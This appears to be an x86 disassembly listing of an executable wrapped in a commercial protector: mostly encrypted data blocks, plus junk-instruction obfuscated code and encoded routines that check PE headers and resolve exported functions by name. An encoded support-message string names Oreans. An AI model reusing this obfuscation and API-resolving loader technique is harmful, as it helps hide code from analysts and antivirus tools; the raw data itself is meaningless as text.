		dd 0B46E71EEh, 18028506h, 0EB5D853h, 3904665Fh,	1A6054ECh
		dd 106DCC4Dh, 4F04E612h, 5F4A192h, 3A0BCA48h, 54E8FE89h
		dd 375332E5h, 0BDAE2D83h, 0E8FDE240h, 5C914254h, 0DC119642h
		dd 6EE961B9h, 20BC05Ah,	0E8FE3F3Dh, 97ABD54h, 0A0FAEBB3h
		dd 2C27B52Eh, 0DA3B6763h, 0DC36991Eh, 11447202h, 0FE814A3Eh
		dd 0DFC461Bh, 17C3C987h, 22073890h, 0D154E94Ch,	0CD38989h
		dd 0E94C3133h, 0EDD2B354h, 54E94C8Fh, 1CF92AEDh, 0DEC146F2h
		dd 0B9139444h, 73F8530Ch, 3E73E0F8h, 32A2F85Fh,	0A5ED99Ch
		dd 0DC21E4D9h, 54E94C5Eh, 73B01DDEh, 5AD09216h,	0F3DEAD85h
		dd 7FA30000h, 6027E892h, 9B3ABD3Ah, 7B51C88Fh, 4C13914Eh
		dd 0EFE6E973h, 85488B54h, 0F85FDE9Dh, 0E4462419h, 75A654E9h
		dd 5E1D0598h, 94C946F6h, 5EDC89C4h, 165586FFh, 7EB15ACEh
		dd 2BE95D79h, 0BB7ADE22h, 11D6h, 6D70EB6Ch, 38205B5h, 0B0D75207h
		dd 686FE86Ah, 18403B2h,	7DF0A914h, 9747C3C2h, 2FAD7518h
		dd 7AF129ACh, 6625DCC3h, 0EC3A1B19h, 0B4E39954h, 4E5D952h
		dd 1497454Fh, 8FEDD2B1h, 0ED4F04E6h, 6B5E612Ah,	106D30B2h
		dd 54EC2C12h, 0A4FEA192h, 4C13B235h, 516BE456h,	833441FBh
		dd 47901DAh, 6DCC024Bh,	0DC058435h, 4F04E65Eh, 7EB01DDEh
		dd 2E94C505h, 13576h, 63D8A100h, 0D6CCD0E9h, 61D2E661h
		dd 9372D1B4h, 4E5D052h,	0A8D4C4Fh, 45C27690h, 0CE8BFC77h
		dd 4E680E1h, 4B60D54Fh,	0E661D6CCh, 0D1B461D2h,	0D1E6CC84h
		dd 71641724h, 75A8329Fh, 884A5037h, 9554D60Fh, 1FD04F05h
		dd 60D825B2h, 7C2BDDEAh, 0D2EB61D8h, 0BF3E64C5h, 0CC065700h
		dd 0D3E966D6h, 0F043B760h, 192D14C4h, 2Ah, 0EA60D8BCh
		dd 24E6CCDDh, 0A9269602h, 3CF62013h, 0BDAB78Eh,	57B353Ah
		dd 697EB14Fh, 0C2779BCCh, 42157647h, 292Ch, 60D87B00h
		dd 0D6CCDDEAh, 592CE966h, 0B22DA0FAh, 0E59798D9h, 0D2E4F04h
		dd 56DCCBCh, 3586806h, 0E6F7A087h, 7647C277h, 0D45F4215h
		dd 0ED2D14C4h, 2AA000B5h, 0F7281BB1h, 2FA31Ah, 0CCEA0000h
		dd 2CE966D6h, 0B1149E4Dh, 5068E369h, 0CCA136E3h, 4E66EF3h
		dd 0B405F64Fh, 0D6CC9BCCh, 60D3E966h, 68EF6BB7h, 2C421553h
		dd 2Bh,	11E6CC7Bh, 0C9B1570Dh, 33EA410Ah, 0F3CC20B9h, 4F04E66Eh
		dd 0CC6572C7h, 786356Dh, 0C3770D4Ah, 0D6CC7744h, 62D1EB64h
		dd 0CCA80FA9h, 2DE661D6h, 0FFFEB5BAh, 6FD8EDFFh, 90D52AEDh
		dd 0EC54EC2Ch, 0B56E51B9h, 0A48F07D0h, 0EC78FD7Fh, 4BBC7F54h
		dd 5ED99E84h, 149E4C3Fh, 4C8D2B1h, 83E1CE8Bh, 0E154EC79h
		dd 0C9A59A2Eh, 4754EC78h, 0B9431990h, 3221BB32h, 0D0E863E8h
		dd 83D63D7Ah, 0BC04F9C7h, 4F1AD2DEh, 57EB7FBh, 7633FC72h
		dd 3Ch,	0E5CC52A1h, 83484F04h, 0FC268508h, 0D310FD7Eh
		dd 4F04E64Eh, 6F2EAC19h, 0AB948133h, 4F04E5C9h,	25B7E82Bh
		dd 6785E42Eh, 3132B2E7h, 13BC8164h, 6354E9E1h, 0C3AE2DB0h
		dd 0F9000000h, 2AED6FD8h, 0E90D48D5h, 2CF32454h, 0C0C740F6h
		dd 411B9C5Ah, 76D95B14h, 622FA82Ch, 51EDA283h, 0C6095AD0h
		dd 0DD5C1B07h, 467A548Fh, 96A8FC7Ch, 0AFFB4A07h, 0F32FAE29h
		dd 0EFF6C245h, 7D59F783h, 621541F8h, 79309DB1h,	0E84F0E8Ch
		dd 8D69597h, 4B0D174Fh,	164BF8D0h, 8F95EABDh, 0ED54F016h
		dd 0B83F6B2Ah, 3615E01h, 6154E9B4h, 0A302E5AEh
		dd 0B3E91157h, 0BB1418D7h, 1F78985Fh, 0B283A5C3h, 3EE4EBDCh
		dd 1FB93EB9h, 241C4883h, 0F00CDB4h, 0D5860000h,	6BEF3B5Ah
		dd 0B831E9ECh, 0D2849E01h, 69EC3659h, 7F3EEFEEh, 0A92CAB2Ah
		dd 4342FD71h, 0F79611C7h, 0AA2DAC2Bh, 0F1734C13h, 7354EC3Bh
		dd 0C0775E35h, 0F0E64E50h, 48BDA122h, 0EA6DEA70h, 0B8C4CDEh
		dd 0A82FABB1h, 0BEE24810h, 5D3CA376h, 2519C375h, 0E22322A4h
		dd 4F05DF80h, 745E3BFCh, 8EF7560Ch, 4F05DEACh, 0F16EEE08h
		dd 70F762BCh, 0E42EEB58h, 61D1F477h, 2E15C622h,	76F167A3h
		dd 0A924F162h, 73h, 0ED6FD8ECh,	0C37CF02Ah, 0A8207AE9h
		dd 0A283622Fh, 54E90EA1h, 0D4BB1ADDh, 38900FCEh, 0E58DA0Bh
		dd 7B454E9h, 833F3484h,	0B2B08D50h, 3254E90Dh, 0A64414C1h
		dd 0CBD7B631h, 53E8A0Dh, 4C563548h, 88BB118Ah, 6D7FF87Eh
		dd 7AF11DF6h, 3FCE9C3h,	74E1DE81h, 105ACD35h, 9391EE4Dh
		dd 114F04F3h, 0F483E1DEh, 0BCE14F04h, 4F3E143h,	5F90434Fh
		dd 77F26B6Ah, 6AED6DC3h, 0EB379639h, 0F925EE69h, 0E3E2F671h
		dd 24B433A7h, 261D622Fh, 494F04E6h, 0E59795EAh,	0F3454F04h
		dd 79E27571h, 54AE611Dh, 9E5567E0h, 0F163E935h,	939B287h
		dd 7215465Ah, 9CC4E07h,	0EC2F4334h, 0B4227854h,	825C6633h
		dd 131A00C8h, 0B41B4C60h, 8F0ECDD5h, 31A82F3Dh,	42F713FCh
		dd 5F17C0C7h, 2E94C4E4h, 17B15h, 63D84000h, 0F3CCD0E9h
		dd 4F04E66Eh, 479372C7h, 0B7B3DB31h, 66512D88h,	71F1A4EEh
		dd 0CC28A16Ah, 64D6CC9Bh, 5ED99FEBh, 527CD90Ah,	0FC197133h
		dd 40C77290h, 296F8A16h, 0D6CC6F6Ch, 62D1EB64h,	901AC2A9h
		dd 0D87C2B3Bh, 9413C261h, 201DFCA3h, 4F04E642h,	37A471A2h
		dd 0D45F92C5h, 0ED2D14C4h, 378504B5h, 3E64533Ch, 0B3000000h
		dd 0DDEA60D8h, 0E66EF3CCh, 5F64F04h, 356DCCB4h,	0BCB70584h
		dd 0C277FAD3h, 0DC218047h, 4F04E65Eh, 1BB01DDEh, 12106DCCh
		dd 924F04E6h, 1F23CDB8h, 8BFCD15Fh, 2C11A6CEh, 20h, 0EA60D87Bh
		dd 6EF3CCDDh, 0C74F04E6h, 0D6CC6572h, 542BE463h, 6EC27703h
		dd 0E95A6EE9h, 421527B4h, 6220E6CCh, 9E56D429h,	65D64F05h
		dd 0CB376C29h, 0C4393B04h, 78BB4F05h, 0A2D85B9Fh, 68012D15h
		dd 54000000h, 0D2EB61D8h, 0FABFE6CCh, 0AA142D01h, 40211EE1h
		dd 7F4F0574h, 73C5A798h, 0F4274F05h, 0F1CE9F1Bh, 4F057473h
		dd 3AA4DF91h, 0AEE31CD0h, 6DCC6C7Dh, 0B7058435h, 0CCFAD3BCh
		dd 0D4548EE6h, 718D6D32h, 8D8942FDh, 0CC7D4ACDh, 0D1EB64D6h
		dd 0DD0E894Bh, 2CE37470h, 32h, 0F0C5A58Dh, 9F2DAC2Bh, 0B75E6AA4h
		dd 0D89B309Dh, 0CCD2EB61h, 9223056Dh, 833944A5h, 488E9D6h
		dd 18DD4F05h, 779BCC43h, 157744C3h, 6DEA6EB4h, 7C2C2BA0h
		dd 7BFFFFFEh, 2AED6FD8h, 0EC2C90D5h, 642BEC54h,	0A903BC3Eh
		dd 140ED1BAh, 0D6A124A7h, 0C63F9E14h, 54EC2C64h, 39B626C0h
		dd 85EDF4C4h, 0F5F3126Dh, 0BC246E0Fh, 0F3B0227h, 7AFA3B94h
		dd 0D954EBFBh, 7BC80101h, 0EC33FBE2h, 36h, 5B09F5DDh, 0DC3C7FBFh
		dd 0C69314C2h, 0E5CC5291h, 83484F04h, 0A735AC21h, 0BE947BACh
		dd 5FE17B5Fh, 82D8E1D9h, 0F092576Eh, 75F463BFh,	9C23EC67h
		dd 0BDDDh, 6FD80800h, 0E624067Fh, 4F804F04h, 694ABB1Ah
		dd 0C554E917h, 0E157B312h, 3DBB6766h, 7593EFA3h, 0E3D4EC9Bh
		dd 0F877E63Ch, 32A673E0h, 894CCE87h, 9E57D52Ah,	62D554E9h
		dd 0BCE9D6A9h, 35AD0E4h, 0F2915037h, 5CE9691h, 70D7B679h
		dd 5106A82Ah, 0EE28E5D6h, 32E8EF68h, 3CA90384h,	211EC143h
		dd 54EFA93Bh, 0EB379659h, 66DDEF6Ah, 0BC0DAADh,	0A6150D90h
		dd 0F9D34C0Eh, 0B8BA8B4Ah, 3454E9A1h, 99298EC3h, 9A1C47F9h
		dd 0B14773Eh, 29AA0000h, 47F32FAEh, 9445DDC0h, 26A87215h
		dd 7DF02AADh, 6B4AC3C2h, 9D00BF3Eh, 3756D185h, 0EBEA6DEBh
		dd 9E01B83Fh, 0DD5FA0E7h, 5F54EC3Fh, 0C0777229h, 62E97349h
		dd 1DC4D1EBh, 176DF35h,	0F85557FAh, 8433D2DEh, 0D3B08205h
		dd 0EC2E14D4h, 0A89107B6h, 0D53D1E89h, 2013A99Ah, 567877h
		dd 0D89F0000h, 0D52AED6Fh, 54E909CCh, 0D153AC73h, 5354E908h
		dd 488B37E0h, 0EA6DEA70h, 1B83FEBh, 7BF02AABh, 9E7BE8C0h
		dd 3DE062DBh, 1790445Eh, 0FCC58E45h, 5ACD3AFFh,	7AF8C5A4h
		dd 214F04F8h, 4F85EDCh,	611DDE4Fh, 16D9E5AEh, 4CB11077h
		dd 4F04F7EEh, 8BC08D4Eh, 8144C377h, 15BD299h, 8A05C8D2h
		dd 3548053Eh, 4E673C8h,	5602184Fh, 0EB61FBD1h, 0B6EB5870h
		dd 516BEC6Ch, 6FED29E2h, 63C129ECh, 942485FDh, 7048CF8Ah
		dd 0A2C58EC3h, 310E1ED7h, 4F04E933h, 0F8E21DD1h, 2203C237h
		dd 54EC2F58h, 37B2237Fh, 0D9E5AEA5h, 0EE6BB716h, 5FF3646Bh
		dd 2E94C4E4h, 12915h, 63D84000h, 5C910AC0h, 0E1E6CC0Fh
		dd 72746758h, 624322EFh, 4F058DFDh, 0CCD6E748h,	62D6379Bh
		dd 2BEA60D8h, 0E5F97B44h, 0B87B4F04h, 7C2BFEDFh, 10C261D8h
		dd 0C515A297h, 0C4D45F92h, 2B052D14h, 50000000h, 0DDEA60D8h
		dd 0E66EF3CCh, 5F64F04h, 63D6CCB4h, 5BDC9AE4h, 0CCBE2FFEh
		dd 0D4E463D6h, 0E168B21Fh, 42155166h, 272Ch, 60D87B00h
		dd 0F3CCDDEAh, 4F04E66Eh, 0CC6572C7h, 0D7E562D6h, 0FBECB31Ch
		dd 7647C277h, 0E8D5B415h, 4F04E68Ah, 6F6C29EAh,	0D6EBE6CCh
		dd 7E71E17Dh, 0A8D2A195h, 0B7D32D15h, 53E8A05h,	251D48h
		dd 0D8B80000h, 0CCD2EB61h, 4E66EF3h, 0B405F64Fh, 1FFEE6CCh
		dd 9DB74244h, 77786D30h, 157744C3h, 412C42h, 0D87B0000h
		dd 0CCD2EB61h, 883356Dh, 305783B0h, 0D8299248h,	83E4CD86h
		dd 0D24F052Fh, 9BCC4861h, 7DFCE6CCh, 0E7486C4Eh, 0EF68E02Ah
		dd 0C245F228h, 0B4154009h, 8F0ECDD5h, 5BD9063Dh, 0D94F04E6h
		dd 0CC1CBD16h, 0E612106Dh, 9EC24F04h, 87FF24C0h, 24F1225Ch
		dd 0FFFECEA1h, 6FD8F4FFh, 90D52AEDh, 0EC54EC2Ch, 0BC3E642Bh
		dd 0D1BAA903h, 0C273AF0Eh, 15FE7547h, 0C4CB4209h, 0DC8309F1h
		dd 0EC2C81E3h, 9830E354h, 0EC2BC7A7h, 70B00A54h, 0F87A4B2Ah
		dd 7454EC2Bh, 7AF56783h, 12E65D91h, 2F1733FCh, 46000000h
		dd 4E5CC52h, 2597F34Fh,	68251EAAh, 0AF2EA92Eh, 0F0169C8h
		dd 0B14351A3h, 0CEC5A79Ch, 0F4274F05h, 0ECA41Bh, 1D050000h
		dd 5B88205Bh, 6FD8D9FEh, 0A29710C4h, 0B837A7E3h, 87663320h
		dd 0E8E92DBEh, 2FAF4954h, 44B918B0h, 54E8E8E6h,	6FA09546h
		dd 43C472A8h, 510C65Ch,	0E8E93A38h, 479BA54h, 5C4C39B4h
		dd 0E8E90163h, 7FB06354h, 655A3998h, 54E8E907h,	98D9B265h
		dd 5AD02ECFh, 911F427h,	5DC5C843h, 114C1C9Fh, 0B75EB4A4h
		dd 82D1297Eh, 7B33316Eh, 7EB14F08h, 9C504A0Dh, 319A4963h
		dd 0BB0B116Eh, 8F6954EFh, 77F267C9h, 0AF0ED102h, 0E98FD456h
		dd 6B65054h, 0CF003389h, 0C6DCA302h, 38C29611h,	0B4AF3DB6h
		dd 3AB52743h, 0BED8B5AEh, 31FBE39h, 1094D554h, 671C480Bh
		dd 7A40CF5h, 0B93A0000h, 0D7839F3Eh, 64D54D50h,	0B638E2E5h
		dd 0CD809A3Dh, 0DBDA3352h, 0D900FCEh, 0A726A115h, 5B7AFD7Bh
		dd 0E9108CFh, 4D2F1077h, 0AF54EC44h, 0C07782D9h, 920DCFDBh
		dd 56D40DC6h, 0D64F04E6h, 0BD0F884Ch, 0BD605586h, 9417C4DEh
		dd 54D60FC4h, 0D04F04E6h, 0BF26B21Fh, 6775F463h, 70E723ECh
		dd 0F4D6E3F9h, 6FEE6D8Ch, 45E842A8h, 9ADCA7Ah, 405A394Ch
		dd 89BA0E89h, 0F599EACCh, 2CC22E14h, 15000000h
		dd 2AED6FD8h, 0E91134D5h, 0EDFF3054h, 0E90FF47Ah, 2A705F54h
		dd 67632CABh, 0F391F23Bh, 81233F8h, 45FECA45h, 48DD88h
		dd 0D8780000h, 0D21AF46Fh, 84EC474Ch, 27968C53h, 2718EFA8h
		dd 54E928FAh, 7983D91Ah, 8E947BF2h, 0E17B51CEh,	6BD8F06Bh
		dd 0D04A5D36h, 0D53DE01Bh, 371C77AAh, 0F1DBB41Fh, 8D0ACAD0h
		dd 3EBC69C0h, 0AA75665Fh, 0DE115ACDh, 5C482EBFh, 9C43C1BEh
		dd 0E91006A3h, 0C63F6E54h, 54E91064h, 0C2A09DC0h, 2254E90Fh
		dd 8D4BBCF1h, 5F5A63A2h, 98E54415h, 1497459Ah, 0BD7CD91Ah
		dd 5FFAD0C0h, 0BF11E10Bh, 0FEF371AEh, 0BE711496h, 98B58A4Dh
		dd 0D41A7B27h, 0BC0C8B4Ah, 6AF84B87h, 0D1F6724Ah, 2491CC9Ch
		dd 118BE7A6h, 0A777B334h, 7B441BF4h, 155F5A89h,	0E745BAEBh
		dd 451496E7h, 70F23392h, 0CC1496E8h, 2B77D60Bh,	70AA2DACh
		dd 877B40FBh, 0F85C9AB2h, 6249150h, 39BA0000h, 57031FBEh
		dd 0E455CDD0h, 36B86265h, 4D001ABDh, 5B5AB3D2h,	8D108F4Eh
		dd 27A62195h, 0DBFA7DFBh, 8E11884Fh, 0CDAF90F7h, 2F54EC44h
		dd 0C0770259h, 60E97349h, 0AB87E6E9h, 0C991E12Bh, 0CEAD665Ah
		dd 0F3CC9311h, 54ED28A6h, 36B124CEh, 6C7CB1A2h,	0DF9C1BDEh
		dd 1C44FAC5h, 0C3472EAAh, 59000005h, 0A2781F96h, 0F42EB136h
		dd 47C3C245h, 0AF7B1A95h, 0FB2CB32Eh, 0F168EDBCh, 78034EEh
		dd 5BDC9A80h, 0EE69EE34h, 0C7150EFh, 54EC462Eh,	0CCA3F88Eh
		dd 0D3E966D6h, 0D7500660h, 36854E85h, 2B14FB79h, 54EC2C7Ah
		dd 0F903599Ah, 0EAF0F970h, 9D1C456Eh, 56C763Fh,	41F20000h
		dd 9F5BC7C6h, 2CAD7518h, 7EF02AADh, 9558C2C5h, 13A27B1Ah
		dd 3558D786h, 0EFEE69EDh, 83028533h, 3659D087h,	85E7D88Fh
		dd 0E754EC46h, 6FD8CA81h, 6F4B2AEDh, 57E4557Eh,	0DA1BF401h
		dd 54EC8A85h, 809A2EE1h, 0B3694EC9h, 81C459Ch, 518E140h
		dd 2DAE0000h, 43F713B2h, 9059C1C4h, 2AAC7619h, 41F42EB1h
		dd 6756C7C6h, 81048332h, 3B5AD599h, 0EFEE69EFh,	82058433h
		dd 0D95BA4FBh, 5B54EC45h, 0C077762Dh, 68AC8649h, 3DF5FE69h
		dd 92339972h, 7547C088h, 420915FEh, 1963F1CBh, 97474319h
		dd 0C6934018h, 0F99C1FDCh, 9933AA21h, 5C6C1A6h,	246C764Fh
		dd 39B2247Eh, 285325Ch,	74E63C83h, 0E25B1EFBh, 740BD60h
		dd 6F54ED0Dh, 350AE9ACh, 54EC8D37h, 0B03842B5h,	248B5A37h
		dd 16C37CFEh, 9CC4F0Ch,	89235A11h, 34EEF15Ah, 1B071D87h
		dd 0F2F775B9h, 0C1BE2B81h, 0C03D9C43h, 54EC9162h, 0E14411C2h
		dd 0D3D6969Ch, 5235E65Ah, 0A42397F3h, 2872DF14h, 7DA528A3h
		dd 82987FFEh, 0DEFA57D0h, 0E5A82AE3h, 0EA064B98h, 4368AB54h
		dd 1C47D877h, 33D19038h, 0C9000004h, 12088F06h,	64BE21A6h
		dd 0B75372F5h, 1F0B8A05h, 6BBC235Eh, 61985D4Ch,	0B730A47Eh
		dd 0CB4C0A10h, 1E995EC4h, 0BC81C07Fh, 54EC46BEh, 7713483Eh
		dd 9C8649C0h, 0D40F5DDEh, 0E62E0C71h, 4D8E4F04h, 9189C880h
		dd 0AFEBA4DFh, 5B2EB128h, 40BD60E2h, 54E8FC7Fh,	3DA434E7h
		dd 0E0F873E5h, 0D759A673h, 7254E8FBh, 0E2A168A8h, 0B33F8E2h
		dd 46h,	0ED6FD842h, 860D52Ah, 1BDC54E9h, 4C2A0041h, 5AFBFEE0h
		dd 6B9B99E6h, 0D61954E9h, 65CB28E5h, 0E054E96Ch, 64DF161Ah
		dd 7D33F94Fh, 0A735B425h, 0A84862ACh, 37569C9Ah, 0F8635Ah
		dd 465C0000h, 92411B94h, 0C0779039h, 172ED60h, 0A5DC91ABh
		dd 0EE46F517h, 0DBBAEF68h, 60C4FAFFh, 0F05DC222h, 129542D8h
		dd 9EFB273h, 0AC2B4F05h, 0FB70AA2Dh, 0A8FEDD2h,	0C9364F05h
		dd 4F050A6Bh, 429C06C9h, 0C284993Eh, 0F7281D1Ah, 0CC4B0A10h
		dd 0A31C4903h, 0B4247E21h, 81F95F2Ah, 211297B5h, 28FF588Bh
		dd 0E945A6D7h, 32558654h, 0B1B38C53h, 3354E944h, 0EBA417C0h
		dd 2959A669h, 0F5ACFEEh, 0E0F873E5h, 435F3E73h,	8F441493h
		dd 0B62763C2h, 0CF8E943Bh, 0DC7FFDC2h, 3AFD4F07h, 0BF18E0C9h
		dd 2DAF2229h, 2DD44h, 79F06300h, 8B0CCC56h, 0DC5B1E04h
		dd 74EF61B9h, 8D04C951h, 0F7A21D0Ah, 5EC4CB46h,	0A47E619Eh
		dd 812B536h, 3EC5C843h,	4914166Fh, 0EA9054ECh, 67E6CCBDh
		dd 6485F9F7h, 97C84F0Bh, 0E21DD03Ah, 0D3869CE3h, 8791614Dh
		dd 0D60BA5D0h, 235A117Dh, 0D6CC2BBCh, 77AAE463h, 2F86C95Fh
		dd 0E8A514C1h, 65C4AB6Ah, 5561A18h, 56409A4Fh, 7EECE896h
		dd 74BD164Bh, 54E965FFh, 3B2CBC7Fh, 54E96235h, 0CC9C1BDFh
		dd 0AD3FB83Eh, 0C30B77DDh, 27EE12E8h, 33F9455Ch, 938Dh
		dd 0C077C800h, 64E97349h, 4968DFEDh, 4D4F04EAh,	37B0268Eh
		dd 5A7DAEA5h, 38900BC0h, 0F352D08Dh, 0E90401B2h, 0DC9C8654h
		dd 79D2015Bh, 0A01BBA7Dh, 9C9EE7F7h, 1854E903h,	0C223E2D7h
		dd 5ACFAA4Fh, 0FD25E82Bh, 44DEC178h, 91511691h,	622229F9h
		dd 1F00FF6h, 0C5760000h, 1BDF4B4Ah, 0A821F99Ch,	0C274AE31h
		dd 19DC4649h, 8F2EFF9Eh, 0B9DC5B1Ah, 5372ED61h,	78601B7h
		dd 0BADD5C1Bh, 1635C03h, 6354EC4Ah, 0C6774E05h,	19DE444Bh
		dd 3E8A05B7h, 18CDD005h, 7349C077h, 0E4EB62E9h,	0E7A62491h
		dd 0D95E1A00h, 1112377Ch, 0E15254E9h, 101214CBh, 16BD54E9h
		dd 0FACE490Ch, 5A6EE960h, 0FFDBB4E9h, 0F7097AB3h, 257233F8h
		dd 53000000h, 4B048337h, 0ED6FD802h, 0FCACD52Ah, 478854E8h
		dd 0FC6CF275h, 3E754E8h, 0DF6DD61Fh, 2A9E33F8h,	39000000h
		dd 0E867D6CCh, 0C8B4AD0h, 0F35287BCh, 4E5B0B2h,	0ECB0C4Fh
		dd 4E64021h, 19B26B4Fh,	25E8DD54h, 0E8F83BD8h, 0D5F83B54h
		dd 0C46FD800h, 0BA3DBD17h, 0E8C0352Eh, 7E47067Bh, 54E90F8Dh
		dd 0C0423FE9h, 328601C8h, 2CE8D501h, 2B81B55Eh,	1E5392F8h
		dd 44862234h, 48BD1C22h, 0E169CF70h, 2AAB54E9h,	4D0F1DAFh
		dd 0F06486D2h, 9F836977h, 6B41FE7Eh, 563487F8h,	0C8A0E32Ah
		dd 0F92133F9h, 74EFFD74h, 352C9Bh, 526B0000h, 4F04E5CCh
		dd 0E9AC2EE7h, 0E637350Ah, 42B54F04h, 5F38B338h, 78F12988h
		dd 9F78EBC1h, 0E8F7B556h, 0B9306A54h, 0DCB9AA3Eh, 64BE61D2h
		dd 0EF6474F7h, 0CCCA8322h, 3246B0E6h, 1AF76C7Ch, 0A164E65Fh
		dd 0ED19AB5Ch, 70488B54h, 0EBEA6DEAh, 0AB01B83Fh, 0C07BF02Ah
		dd 587F2E17h, 52F3C657h, 0CD098248h, 7A8A716h, 0EFEBA4B6h
		dd 28A1F9A3h, 49011BB1h, 1449FACEh, 61985FBBh, 0EBF264BEh
		dd 924A989Ah, 0EE2314C3h, 0B36331A4h, 0CC9396Ah, 53301A79h
		dd 66418956h, 2C9D5BEh,	3190318Bh, 92176ECCh, 400DCEC3h
		dd 411B9446h, 2DBF3ABBh, 38A4A22Fh, 61BDDA22h, 825A6EE9h
		dd 9430F838h, 0B423C2CEh, 0C3889235h, 3B17048h,	0E4000000h
		dd 0C4775106h, 6EED7F4Dh, 894FDDEFh, 2CA0BA0Eh,	520319B3h
		dd 0F66785D7h, 19DB617Bh, 0B930CA9Eh, 0D890AA3Eh
		db 5Fh,	0Dh, 0B3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	1EFFh
		mov	[esp], ebp
		push	5ABBh
		mov	[esp], edx
		push	52AEh
		mov	[esp], esi
		mov	esi, 5E747ACh
		mov	ebp, esi
		pop	esi
		push	esp
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 8
		add	eax, edx
		mov	[eax], ebp
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_54658E
; ---------------------------------------------------------------------------
		dw 0AFF7h
aHhvbb		db '╬ж>hHV│B',0
		db 34h,	0B8h, 16h
		dd 305E766h, 9EE0FFC5h,	9177365Bh, 0D02423C2h, 9D2C429Ch
		dd 0AE026A34h, 5259885Eh, 0F11529D1h, 0F9245F1Eh, 892B9C95h
		dd 1E4AD60Dh, 4E69DD2Ah, 0AA04909Dh, 0F4C2EC9h,	0B65B05F8h
		dd 612F7DB0h, 2D0C36FAh, 0AA419291h, 0EC39B80Ah, 994EE81Bh
		dd 5140CCE4h, 0F0243935h, 0A83E047Ch, 0D56B6DA1h, 0E82296E4h
		dd 9, 4D2F93ECh, 43376465h, 0B70F5769h,	805F59C8h, 0C781BCF7h
		dd 6F28h, 68CFB70Fh, 0
		dd 98F78060h, 9E8h, 0A2848D00h,	3138EC0h, 6160A24Ch, 8158615Fh
		dd 0A10C46DEh, 7148B06h, 3800Fh, 8B660000h, 1CEA81F0h
		dd 810FB02Dh, 6D64C8F3h, 27C2814Ah, 0E93E882Ah,	13h, 5B9AFC5Fh
		dd 981C6B0Bh, 13BFB15Bh, 0B9A71D62h, 81587E1Eh,	0AA5F11EAh
		dd 0E981662Ch, 148905F4h, 0C0BB6607h, 65DF8056h, 1366E881h
		dd 81666C69h, 816D14E3h, 691362C0h, 81FD8A6Ch, 0FF91A4F8h
		dd 0D850FFFh, 56000000h, 22E959h, 7BFD0000h, 0B12F0h, 0D818E9BEh
		dd 0FF7FE91Dh, 902CFFFFh, 4814C7C7h, 0E3DEC142h, 33271E80h
		dd 3CB259D6h, 0AE8h, 0D7DFC100h, 54897F16h, 0F8B77BDh
		dd 0F5ECBBFh, 58Ah, 874BB00h, 0C6816698h, 663Dh, 6E9h
		dd 0A4F8D200h, 0BF089A73h, 1961h, 8B068BF8h, 9DF081D0h
		dd 0F7DF857h, 389h, 0D1B70F00h,	0E717E881h, 0DA810229h
		dd 5F87DFC3h, 908EE881h, 0E8602D67h, 7,	6719EC2Ah, 0E804B96Dh
		dd 0Ch,	0C3D20A6Ch, 0C4F749CBh,	8AD4AE67h, 61F95E59h, 10E950h
		dd 24120000h, 528ABF52h, 2ED32595h, 0E35307B9h,	68F3E27h
		dd 0EE9h, 0C6F43600h, 0BDBEB22h, 511E22EBh, 83BE3DCFh
		dd 816602EEh, 4E0C51E1h, 0D5BA664Eh, 850F4F93h,	0FFFFFF79h
		dd 348DC281h, 83E97BC3h, 53000000h, 57565251h, 1C245C8Bh
		dd 4D3B8166h, 68850F5Ah, 0F000000h, 33C43B7h, 3B8166D8h
		dd 850F4550h, 57h, 3785B8Bh, 8B1C245Ch,	74032473h, 8B561C24h
		dd 738B207Bh, 247C031Ch, 24740320h, 0C983FC20h,	5C8B41FFh
		dd 178B1C24h, 20245403h, 8A04C783h, 74C08402h, 75033A08h
		dd 0EB4243E8h, 75033AF2h, 0E1D15FE0h, 0F04B70Fh, 386048Bh
		dd 5F1C2444h, 5B595A5Eh, 330008C2h, 0FFF1E9C0h,	0CA8BFFFFh
		dd 400E9h, 0
		dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
		dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
		dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
		dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
		dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
		dd 5600h, 4500h, 0
		dd 1157E900h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 565B97C3h, 0B9858BC2h, 6A05E40Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 6E5FC351h, 0E90F0765h, 7,	48722AE0h, 39DE20E0h
		dd 0F042444h, 6885h, 81666000h,	66EAB3C1h, 8361C88Bh, 0E42AE1BDh
		dd 840F0005h, 51h, 158E0Fh, 10E90000h, 89000000h, 0CB262148h
		dd 2C900B02h, 0C3F21EE5h, 8D5E8F2Bh, 0E4399485h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0FC4AE8B7h, 0AE9E0FFh, 42000000h, 0B8F0C11Ch, 0CDB37E9Bh
		dd 79858B52h, 905E423h,	0E42881B5h, 24443905h, 5F850F04h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0EFCFC356h, 99D50F1Fh,	3E98D09h
		dd 85C705E4h, 5E76D08h,	1, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0ABC35242h, 149FF7DAh, 7E9D600h, 0BA000000h
		dd 9BC6CF94h, 0E9602FBCh, 0Bh, 5FAA7EE0h, 4103F6C8h, 0E9F994FCh
		dd 17h,	8E9h, 0D3055900h, 69CE2E0Eh, 0D9BD3160h, 5E408h
		dd 0B8000000h, 1, 6E728587h, 0C00B05E7h, 0B5FFF675h, 5E42A49h
		dd 6D00858Fh, 206A05E7h, 95FFFF6Ah, 5E42429h, 10CDBD83h
		dd 740005E4h, 0FF006A08h, 0E410C195h, 0DDBD8305h, 105E430h
		dd 80680D74h, 6A000000h, 2995FFFFh, 6A05E424h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
